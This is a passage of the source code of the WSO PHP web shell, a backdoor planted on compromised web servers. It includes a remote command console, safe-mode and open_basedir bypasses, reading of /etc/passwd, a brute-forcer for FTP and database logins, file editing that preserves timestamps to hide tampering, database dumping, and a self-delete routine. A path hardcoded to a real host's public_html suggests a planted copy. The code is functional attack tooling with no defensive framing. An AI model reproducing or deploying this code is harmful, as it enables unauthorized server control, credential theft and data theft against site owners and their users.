  1122. 'String to lower case'=>'strtolower',
  1123. 'String to upper case'=>'strtoupper',
  1124. 'Htmlspecialchars'=>'htmlspecialchars',
  1125. 'String length'=>'strlen',
  1126. );
  1127. if(isset($_POST['ajax'])) {
  1128. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1129. ob_start();
  1130. if(in_array($_POST['p1'],$stringTools))
  1131. echo $_POST['p1']($_POST['p2']);
  1132. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1133. echo strlen($temp),"\n",$temp;
  1134. exit;
  1135. }
  1136. wsoHeader();
  1137. echo '<h1>String conversions</h1><div class=content>';
  1138. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1139. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1140. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1141. foreach($stringTools as $k =>$v)
  1142. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1143. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1144. if(!empty($_POST['p1'])) {
  1145. if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1146. }
  1147. echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  1148.  
  1149. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1150. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1151. <tr><td>Path:</td><td><input type='text' name='cwd' value='".htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1152. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1153. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  1154. </table></form>";
  1155. function wsoRecursiveGlob($path) {
  1156. if(substr($path,-1) != '/')
  1157. $path.='/';
  1158. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']),@glob($path.'*',GLOB_ONLYDIR)));
  1159. if(is_array($paths)&&@count($paths)) {
  1160. foreach($paths as $item) {
  1161. if(@is_dir($item)){
  1162. if($path!=$item)
  1163. wsoRecursiveGlob($item);
  1164. }else {
  1165. if(@strpos(@file_get_contents($item),@$_POST['p2'])!==false)
  1166. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  1167. }
  1168. }
  1169. }
  1170. }
  1171. if(@$_POST['p3'])
  1172. wsoRecursiveGlob($_POST['c']);
  1173. echo "</div><br><h1>Search for hash:</h1><div class=content>
  1174.  
  1175. <form method='post' target='_blank' name='hf'>
  1176. <input type='text' name='hash' style='width:200px;'><br>
  1177. <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  1178. <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  1179. <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  1180. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1181. <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  1182. </form></div>";
  1183. wsoFooter();
  1184. }
  1185. function actionFilesTools() {
  1186. if( isset($_POST['p1']) )
  1187. $_POST['p1'] = urldecode($_POST['p1']);
  1188. if(@$_POST['p2']=='download') {
  1189. if(@is_file($_POST['p1']) &&@is_readable($_POST['p1'])) {
  1190. ob_start("ob_gzhandler",4096);
  1191. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1192. if (function_exists("mime_content_type")) {
  1193. $type = @mime_content_type($_POST['p1']);
  1194. header("Content-Type: ".$type);
  1195. }else
  1196. header("Content-Type: application/octet-stream");
  1197. $fp = @fopen($_POST['p1'],"r");
  1198. if($fp) {
  1199. while(!@feof($fp))
  1200. echo @fread($fp,1024);
  1201. fclose($fp);
  1202. }
  1203. }exit;
  1204. }
  1205. if( @$_POST['p2'] == 'mkfile') {
  1206. if(!file_exists($_POST['p1'])) {
  1207. $fp = @fopen($_POST['p1'],'w');
  1208. if($fp) {
  1209. $_POST['p2'] = "edit";
  1210. fclose($fp);
  1211. }
  1212. }
  1213. }
  1214. wsoHeader();
  1215. echo '<h1>File tools</h1><div class=content>';
  1216. if( !file_exists(@$_POST['p1']) ) {
  1217. echo 'File not exists';
  1218. wsoFooter();
  1219. return;
  1220. }
  1221. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1222. if(!$uid) {
  1223. $uid['name'] = @fileowner($_POST['p1']);
  1224. $gid['name'] = @filegroup($_POST['p1']);
  1225. }else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1226. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1227. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1228. if( empty($_POST['p2']) )
  1229. $_POST['p2'] = 'view';
  1230. if( is_file($_POST['p1']) )
  1231. $m = array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');
  1232. else
  1233. $m = array('Chmod','Rename','Touch');
  1234. foreach($m as $v)
  1235. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1236. echo '<br><br>';
  1237. switch($_POST['p2']) {
  1238. case 'view':
  1239. echo '<pre class=ml1>';
  1240. $fp = @fopen($_POST['p1'],'r');
  1241. if($fp) {
  1242. while( !@feof($fp) )
  1243. echo htmlspecialchars(@fread($fp,1024));
  1244. @fclose($fp);
  1245. }
  1246. echo '</pre>';
  1247. break;
  1248. case 'highlight':
  1249. if( @is_readable($_POST['p1']) ) {
  1250. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1251. $code = @highlight_file($_POST['p1'],true);
  1252. echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code).'</div>';
  1253. }
  1254. break;
  1255. case 'chmod':
  1256. if( !empty($_POST['p3']) ) {
  1257. $perms = 0;
  1258. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1259. $perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));
  1260. if(!@chmod($_POST['p1'],$perms))
  1261. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1262. }
  1263. clearstatcache();
  1264. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o',fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1265. break;
  1266. case 'edit':
  1267. if( !is_writable($_POST['p1'])) {
  1268. echo 'File isn\'t writeable';
  1269. break;
  1270. }
  1271. if( !empty($_POST['p3']) ) {
  1272. $time = @filemtime($_POST['p1']);
  1273. $_POST['p3'] = substr($_POST['p3'],1);
  1274. $fp = @fopen($_POST['p1'],"w");
  1275. if($fp) {
  1276. @fwrite($fp,$_POST['p3']);
  1277. @fclose($fp);
  1278. echo 'Saved!<br><script>p3_="";</script>';
  1279. @touch($_POST['p1'],$time,$time);
  1280. }
  1281. }
  1282. echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1283. $fp = @fopen($_POST['p1'],'r');
  1284. if($fp) {
  1285. while( !@feof($fp) )
  1286. echo htmlspecialchars(@fread($fp,1024));
  1287. @fclose($fp);
  1288. }
  1289. echo '</textarea><input type=submit value=">>"></form>';
  1290. break;
  1291. case 'hexdump':
  1292. $c = @file_get_contents($_POST['p1']);
  1293. $n = 0;
  1294. $h = array('00000000<br>','','');
  1295. $len = strlen($c);
  1296. for ($i=0;$i<$len;++$i) {
  1297. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1298. switch ( ord($c[$i]) ) {
  1299. case 0: $h[2] .= ' ';break;
  1300. case 9: $h[2] .= ' ';break;
  1301. case 10: $h[2] .= ' ';break;
  1302. case 13: $h[2] .= ' ';break;
  1303. default: $h[2] .= $c[$i];break;
  1304. }
  1305. $n++;
  1306. if ($n == 32) {
  1307. $n = 0;
  1308. if ($i+1 <$len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1309. $h[1] .= '<br>';
  1310. $h[2] .= "\n";
  1311. }
  1312. }
  1313. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1314. break;
  1315. case 'rename':
  1316. if( !empty($_POST['p3']) ) {
  1317. if(!@rename($_POST['p1'],$_POST['p3']))
  1318. echo 'Can\'t rename!<br>';
  1319. else
  1320. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1321. }
  1322. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1323. break;
  1324. case 'touch':
  1325. if( !empty($_POST['p3']) ) {
  1326. $time = strtotime($_POST['p3']);
  1327. if($time) {
  1328. if(!touch($_POST['p1'],$time,$time))
  1329. echo 'Fail!';
  1330. else
  1331. echo 'Touched!';
  1332. }else echo 'Bad time format!';
  1333. }
  1334. clearstatcache();
  1335. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s",@filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1336. break;
  1337. }
  1338. echo '</div>';
  1339. wsoFooter();
  1340. }
  1341. function actionSafeMode() {
  1342. $temp='';
  1343. ob_start();
  1344. switch($_POST['p1']) {
  1345. case 1:
  1346. $temp=@tempnam($test,'cx');
  1347. if(@copy("compress.zlib://".$_POST['p2'],$temp)){
  1348. echo @file_get_contents($temp);
  1349. unlink($temp);
  1350. }else
  1351. echo 'Sorry... Can\'t open file';
  1352. break;
  1353. case 2:
  1354. $files = glob($_POST['p2'].'*');
  1355. if( is_array($files) )
  1356. foreach ($files as $filename)
  1357. echo $filename."\n";
  1358. break;
  1359. case 3:
  1360. $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!','','/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt'));
  1361. curl_exec($ch);
  1362. break;
  1363. case 4:
  1364. ini_restore("safe_mode");
  1365. ini_restore("open_basedir");
  1366. include($_POST['p2']);
  1367. break;
  1368. case 5:
  1369. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1370. $uid = @posix_getpwuid($_POST['p2']);
  1371. if ($uid)
  1372. echo join(':',$uid)."\n";
  1373. }
  1374. break;
  1375. }
  1376. $temp = ob_get_clean();
  1377. wsoHeader();
  1378. echo '<h1>Safe mode bypass</h1><div class=content>';
  1379. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  1380. if($temp)
  1381. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  1382. echo '</div>';
  1383. wsoFooter();
  1384. }
  1385. function actionConsole() {
  1386. if(!empty($_POST['p1']) &&!empty($_POST['p2'])) {
  1387. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  1388. $_POST['p1'] .= ' 2>&1';
  1389. }elseif(!empty($_POST['p1']))
  1390. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  1391. if(isset($_POST['ajax'])) {
  1392. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1393. ob_start();
  1394. echo "d.cf.cmd.value='';\n";
  1395. $temp = @iconv($_POST['charset'],'UTF-8',addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  1396. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1397. if(@chdir($match[1])) {
  1398. $GLOBALS['cwd'] = @getcwd();
  1399. echo "c_='".$GLOBALS['cwd']."';";
  1400. }
  1401. }
  1402. echo "d.cf.output.value+='".$temp."';";
  1403. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1404. $temp = ob_get_clean();
  1405. echo strlen($temp),"\n",$temp;
  1406. exit;
  1407. }
  1408. wsoHeader();
  1409. echo "<script>
  1410. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1411. var cmds = new Array('');
  1412. var cur = 0;
  1413. function kp(e) {
  1414. var n = (window.Event) ? e.which : e.keyCode;
  1415. if(n == 38) {
  1416. cur--;
  1417. if(cur>=0)
  1418. document.cf.cmd.value = cmds[cur];
  1419. else
  1420. cur++;
  1421. } else if(n == 40) {
  1422. cur++;
  1423. if(cur < cmds.length)
  1424. document.cf.cmd.value = cmds[cur];
  1425. else
  1426. cur--;
  1427. }
  1428. }
  1429. function add(cmd) {
  1430. cmds.pop();
  1431. cmds.push(cmd);
  1432. cmds.push('');
  1433. cur = cmds.length-1;
  1434. }
  1435.  
  1436. </script>";
  1437. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1438. foreach($GLOBALS['aliases'] as $n =>$v) {
  1439. if($v == '') {
  1440. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1441. continue;
  1442. }
  1443. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1444. }
  1445. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1446. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1447. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1448. if(!empty($_POST['p1'])) {
  1449. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1450. }
  1451. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1452. echo '</form></div><script>d.cf.cmd.focus();</script>';
  1453. wsoFooter();
  1454. }
  1455. function actionLogout() {
  1456. session_destroy();
  1457. die('bye!');
  1458. }
  1459. function actionSelfRemove() {
  1460. if($_POST['p1'] == 'yes')
  1461. if(@unlink(preg_replace('!\(\d+\)\s.*!','','/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt')))
  1462. die('Shell has been removed');
  1463. else
  1464. echo 'unlink error!';
  1465. if($_POST['p1'] != 'yes')
  1466. wsoHeader();
  1467. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1468. wsoFooter();
  1469. }
  1470. function actionBruteforce() {
  1471. wsoHeader();
  1472. if( isset($_POST['proto']) ) {
  1473. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1474. if( $_POST['proto'] == 'ftp') {
  1475. function bruteForce($ip,$port,$login,$pass) {
  1476. $fp = @ftp_connect($ip,$port?$port:21);
  1477. if(!$fp) return false;
  1478. $res = @ftp_login($fp,$login,$pass);
  1479. @ftp_close($fp);
  1480. return $res;
  1481. }
  1482. }elseif( $_POST['proto'] == 'mysql') {
  1483. function bruteForce($ip,$port,$login,$pass) {
  1484. $res = @mysql_connect($ip.':'.$port?$port:3306,$login,$pass);
  1485. @mysql_close($res);
  1486. return $res;
  1487. }
  1488. }elseif( $_POST['proto'] == 'pgsql') {
  1489. function bruteForce($ip,$port,$login,$pass) {
  1490. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1491. $res = @pg_connect($str);
  1492. @pg_close($res);
  1493. return $res;
  1494. }
  1495. }
  1496. $success = 0;
  1497. $attempts = 0;
  1498. $server = explode(":",$_POST['server']);
  1499. if($_POST['type'] == 1) {
  1500. $temp = @file('/etc/passwd');
  1501. if( is_array($temp) )
  1502. foreach($temp as $line) {
  1503. $line = explode(":",$line);
  1504. ++$attempts;
  1505. if( bruteForce(@$server[0],@$server[1],$line[0],$line[0]) ) {
  1506. $success++;
  1507. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1508. }
  1509. if(@$_POST['reverse']) {
  1510. $tmp = "";
  1511. for($i=strlen($line[0])-1;$i>=0;--$i)
  1512. $tmp .= $line[0][$i];
  1513. ++$attempts;
  1514. if( bruteForce(@$server[0],@$server[1],$line[0],$tmp) ) {
  1515. $success++;
  1516. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1517. }
  1518. }
  1519. }
  1520. }elseif($_POST['type'] == 2) {
  1521. $temp = @file($_POST['dict']);
  1522. if( is_array($temp) )
  1523. foreach($temp as $line) {
  1524. $line = trim($line);
  1525. ++$attempts;
  1526. if( bruteForce($server[0],@$server[1],$_POST['login'],$line) ) {
  1527. $success++;
  1528. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1529. }
  1530. }
  1531. }
  1532. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1533. }
  1534. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1535. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1536. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1537. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1538. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1539. .'<span>Server:port</span></td>'
  1540. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1541. .'<tr><td><span>Brute type</span></td>'
  1542. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1543. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1544. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1545. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1546. .'<td><input type=text name=login value="root"></td></tr>'
  1547. .'<tr><td><span>Dictionary</span></td>'
  1548. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1549. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1550. echo '</div><br>';
  1551. wsoFooter();
  1552. }
  1553. function actionSql() {
  1554. class DbClass {
  1555. var $type;
  1556. var $link;
  1557. var $res;
  1558. function DbClass($type) {
  1559. $this->type = $type;
  1560. }
  1561. function connect($host,$user,$pass,$dbname){
  1562. switch($this->type) {
  1563. case 'mysql':
  1564. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1565. break;
  1566. case 'pgsql':
  1567. $host = explode(':',$host);
  1568. if(!$host[1]) $host[1]=5432;
  1569. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1570. break;
  1571. }
  1572. return false;
  1573. }
  1574. function selectdb($db) {
  1575. switch($this->type) {
  1576. case 'mysql':
  1577. if (@mysql_select_db($db))return true;
  1578. break;
  1579. }
  1580. return false;
  1581. }
  1582. function query($str) {
  1583. switch($this->type) {
  1584. case 'mysql':
  1585. return $this->res = @mysql_query($str);
  1586. break;
  1587. case 'pgsql':
  1588. return $this->res = @pg_query($this->link,$str);
  1589. break;
  1590. }
  1591. return false;
  1592. }
  1593. function fetch() {
  1594. $res = func_num_args()?func_get_arg(0):$this->res;
  1595. switch($this->type) {
  1596. case 'mysql':
  1597. return @mysql_fetch_assoc($res);
  1598. break;
  1599. case 'pgsql':
  1600. return @pg_fetch_assoc($res);
  1601. break;
  1602. }
  1603. return false;
  1604. }
  1605. function listDbs() {
  1606. switch($this->type) {
  1607. case 'mysql':
  1608. return $this->query("SHOW databases");
  1609. break;
  1610. case 'pgsql':
  1611. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1612. break;
  1613. }
  1614. return false;
  1615. }
  1616. function listTables() {
  1617. switch($this->type) {
  1618. case 'mysql':
  1619. return $this->res = $this->query('SHOW TABLES');
  1620. break;
  1621. case 'pgsql':
  1622. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1623. break;
  1624. }
  1625. return false;
  1626. }
  1627. function error() {
  1628. switch($this->type) {
  1629. case 'mysql':
  1630. return @mysql_error();
  1631. break;
  1632. case 'pgsql':
  1633. return @pg_last_error();
  1634. break;
  1635. }
  1636. return false;
  1637. }
  1638. function setCharset($str) {
  1639. switch($this->type) {
  1640. case 'mysql':
  1641. if(function_exists('mysql_set_charset'))
  1642. return @mysql_set_charset($str,$this->link);
  1643. else
  1644. $this->query('SET CHARSET '.$str);
  1645. break;
  1646. case 'pgsql':
  1647. return @pg_set_client_encoding($this->link,$str);
  1648. break;
  1649. }
  1650. return false;
  1651. }
  1652. function loadFile($str) {
  1653. switch($this->type) {
  1654. case 'mysql':
  1655. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1656. break;
  1657. case 'pgsql':
  1658. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1659. $r=array();
  1660. while($i=$this->fetch())
  1661. $r[] = $i['file'];
  1662. $this->query('drop table wso2');
  1663. return array('file'=>implode("\n",$r));
  1664. break;
  1665. }
  1666. return false;
  1667. }
  1668. function dump($table,$fp = false) {
  1669. switch($this->type) {
  1670. case 'mysql':
  1671. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1672. $create = mysql_fetch_array($res);
  1673. $sql = $create[1].";\n";
  1674. if($fp) fwrite($fp,$sql);else echo($sql);
  1675. $this->query('SELECT * FROM `'.$table.'`');
  1676. $head = true;
  1677. while($item = $this->fetch()) {
  1678. $columns = array();
  1679. foreach($item as $k=>$v) {
  1680. if($v == null)
  1681. $item[$k] = "NULL";
  1682. elseif(is_numeric($v))
  1683. $item[$k] = $v;
  1684. else
  1685. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1686. $columns[] = "`".$k."`";
  1687. }
  1688. if($head) {
  1689. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ",$columns).") VALUES \n\t(".implode(", ",$item).')';
  1690. $head = false;
  1691. }else
  1692. $sql = "\n\t,(".implode(", ",$item).')';
  1693. if($fp) fwrite($fp,$sql);else echo($sql);
  1694. }
  1695. if(!$head)
  1696. if($fp) fwrite($fp,";\n\n");else echo(";\n\n");
  1697. break;
  1698. case 'pgsql':
  1699. $this->query('SELECT * FROM '.$table);
  1700. while($item = $this->fetch()) {
  1701. $columns = array();
  1702. foreach($item as $k=>$v) {
  1703. $item[$k] = "'".addslashes($v)."'";
  1704. $columns[] = $k;
  1705. }
  1706. $sql = 'INSERT INTO '.$table.' ('.implode(", ",$columns).') VALUES ('.implode(", ",$item).');'."\n";
  1707. if($fp) fwrite($fp,$sql);else echo($sql);
  1708. }
  1709. break;
  1710. }
  1711. return false;
  1712. }
  1713. };
  1714. $db = new DbClass($_POST['type']);
  1715. if(@$_POST['p2']=='download') {
  1716. $db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);
  1717. $db->selectdb($_POST['sql_base']);
  1718. switch($_POST['charset']) {
  1719. case "Windows-1251": $db->setCharset('cp1251');break;
  1720. case "UTF-8": $db->setCharset('utf8');break;
  1721. case "KOI8-R": $db->setCharset('koi8r');break;
  1722. case "KOI8-U": $db->setCharset('koi8u');break;
  1723. case "cp866": $db->setCharset('cp866');break;
  1724. }
  1725. if(empty($_POST['file'])) {
  1726. ob_start("ob_gzhandler",4096);
  1727. header("Content-Disposition: attachment; filename=dump.sql");
  1728. header("Content-Type: text/plain");
  1729. foreach($_POST['tbl'] as $v)
  1730. $db->dump($v);
  1731. exit;
  1732. }elseif($fp = @fopen($_POST['file'],'w')) {
  1733. foreach($_POST['tbl'] as $v)
  1734. $db->dump($v,$fp);
  1735. fclose($fp);
  1736. unset($_POST['p2']);
  1737. }else
  1738. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1739. }
  1740. wsoHeader();
  1741. echo "
  1742.  
  1743. <h1>Sql browser</h1><div class=content>
  1744. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1745. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1746. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1747. <td><select name='type'><option value='mysql' ";
  1748. if(@$_POST['type']=='mysql')echo 'selected';
  1749. echo ">MySql</option><option value='pgsql' ";
  1750. if(@$_POST['type']=='pgsql')echo 'selected';
  1751. echo ">PostgreSql</option></select></td>
  1752. <td><input type=text name=sql_host value='".(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1753. <td><input type=text name=sql_login value='".(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1754. <td><input type=text name=sql_pass value='".(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1755. $tmp = "<input type=text name=sql_base value=''>";
  1756. if(isset($_POST['sql_host'])){
  1757. if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])) {
  1758. switch($_POST['charset']) {
  1759. case "Windows-1251": $db->setCharset('cp1251');break;
  1760. case "UTF-8": $db->setCharset('utf8');break;
  1761. case "KOI8-R": $db->setCharset('koi8r');break;
  1762. case "KOI8-U": $db->setCharset('koi8u');break;
  1763. case "cp866": $db->setCharset('cp866');break;
  1764. }
  1765. $db->listDbs();
  1766. echo "<select name=sql_base><option value=''></option>";
  1767. while($item = $db->fetch()) {
  1768. list($key,$value) = each($item);
  1769. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1770. }
  1771. echo '</select>';
  1772. }
  1773. else echo $tmp;
  1774. }else
  1775. echo $tmp;
  1776. echo "</td>
  1777.  
  1778. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1779. <td><input type=checkbox name=sql_count value='on'".(empty($_POST['sql_count'])?'':' checked') ."> count the number of rows</td>
  1780. </tr>
  1781. </table>
  1782. <script>
